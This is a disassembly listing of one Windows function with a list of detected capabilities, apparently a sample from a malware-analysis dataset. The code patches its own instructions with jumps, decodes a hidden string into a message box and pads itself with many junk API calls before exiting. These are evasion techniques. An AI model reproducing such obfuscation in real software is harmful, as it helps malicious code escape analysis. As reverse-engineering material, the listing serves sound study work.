Function at 0xa871e2
Capabilities:
Accept command line arguments
Compare security identifiers
Connect pipe
Create process on windows
Create thread
Enumerate gui resources
Get file attributes
Get geographical location
Get session user name
Get thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xa87c3e
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa87036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa871e2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa870b8
call fcn.00464b62
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8707a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa87094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa87094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8704a
mov byte [ebp - 0x74], 6
mov byte [ebp - 0x73], 0x6f
mov byte [ebp - 0x72], 4
mov byte [ebp - 0x71], 0x7a
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x73
mov byte [ebp - 0x6e], 8
mov byte [ebp - 0x6d], 0x77
mov byte [ebp - 0x6c], 5
mov byte [ebp - 0x6b], 0x72
mov byte [ebp - 0x6a], 0
mov byte [ebp - 0x69], 0x7d
mov byte [ebp - 0x68], 1
mov byte [ebp - 0x67], 0x82
mov byte [ebp - 0x66], 0x16
mov byte [ebp - 0x65], 0xfd
mov byte [ebp - 0x64], 0xe1
mov byte [ebp - 0x63], 0xe
mov byte [ebp - 0x62], 0x69
mov byte [ebp - 0x61], 0x5f
mov byte [ebp - 0x60], 0x5b
mov byte [ebp - 0x5f], 2
mov byte [ebp - 0x5e], 0xae
mov byte [ebp - 0x5d], 0x77
mov byte [ebp - 0x5c], 0xa3
mov byte [ebp - 0x5b], 0xb5
mov byte [ebp - 0x5a], 0x2a
mov byte [ebp - 0x59], 0x7c
mov byte [ebp - 0x58], 0x67
mov byte [ebp - 0x57], 0x34
mov byte [ebp - 0x56], 0x8d
mov byte [ebp - 0x55], 0xf2
mov byte [ebp - 0x54], 0x68
mov byte [ebp - 0x53], 0x4a
mov byte [ebp - 0x52], 0x44
mov byte [ebp - 0x51], 0x20
mov byte [ebp - 0x50], 3
mov byte [ebp - 0x4f], 0x2f
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x7a
mov byte [ebp - 0x4c], 7
mov byte [ebp - 0x4b], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa87172
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2a
jae 0xa871d7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa8719e
mov dword [ebp - 0x24], 0x16
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
jmp 0xa8716a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa871c6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa871b3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8716a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7c3aa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407945
mov ecx, eax
call fcn.004029f3
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402997
and dword [ebp - 0x1c], 0
jmp 0xa8721a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa8722a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa87213
push 0x25c1
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x529
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1b79
push 0x65f
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0x173
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
push 0x7b4
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x1ab0
push 0xfdd
push 0x23a3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
push 0
push 0
push 0
push 0x1977
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0x249f
push 0x229e
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0x1bf0
push 0x1c12
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0x1406
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x2395
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0x1fc2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0x748
push 0x233c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0
push 0xca1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
push 0x93f
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x21ff
push 0xd65
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x23e5
push 0x10f8
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x823
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0xc3c
push 0x672
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x25f6
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0x55b
push 0x55
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0
push 0x222
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0x221b
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0x214f
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x132c
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0xcf0
call dword [sym.imp.USER32.dll_MessageBeep]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x1ad6
push 0x10c2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x11d2
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x182e
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0x162c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0x1f6d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0xc61
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0x241c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x1896
push 0x1d1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0x49f
push 0x746
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0x11a3
push 0x12e2
push 0x1f7b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2da
push 0x1f06
push 0x16e3
push 0x817
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xca0
push 0xd1d
push 0x1cbe
push 0x216a
push 0x194f
push 0x1f5f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0xa8b
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0x1c7e
push 0
push 0x171e
push 0
push 0x1598
push 0x786
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x33d
push 0x25db
push 0
push 0
push 0x15b9
push 0x1ea4
push 0x2089
push 0x1e6e
push 0x13b2
push 0x1643
push 0x1333
push 0x91c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0x2542
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x9f4
push 0x1d56
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x25c7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0x3a6
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
push 0
push 0x1d3
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x13da
call dword [sym.imp.GDI32.dll_GetStockObject]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0
push 0xd2
push 0xf8a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0x365
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x993
push 0
push 0x1f24
push 0x137d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0x2173
push 0x12a7
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0x23be
push 0x2b6
call dword [sym.imp.GDI32.dll_CreatePen]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0xe7b
push 0x955
push 0x165a
push 0x699
push 0x16c2
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
call dword [sym.imp.USER32.dll_GetCapture]
push 0
push 0
push 0x24b7
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x1a00
push 0xab0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0xb57
push 0x1a8c
push 0x2095
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0xa33
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 1
push 0
push 0x10ad
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
call dword [sym.imp.USER32.dll_ReleaseCapture]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x233
push 0x9bc
push 0xf03
push 0x174b
push 0x1e33
push 0x1740
push 0x25f4
push 0x2659
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x2d3
push 0x1593
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x1a92
push 0x201b
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0x1aa7
push 0x2591
push 0x1b99
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0x263e
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0x477
call dword [sym.imp.KERNEL32.dll_ExitProcess]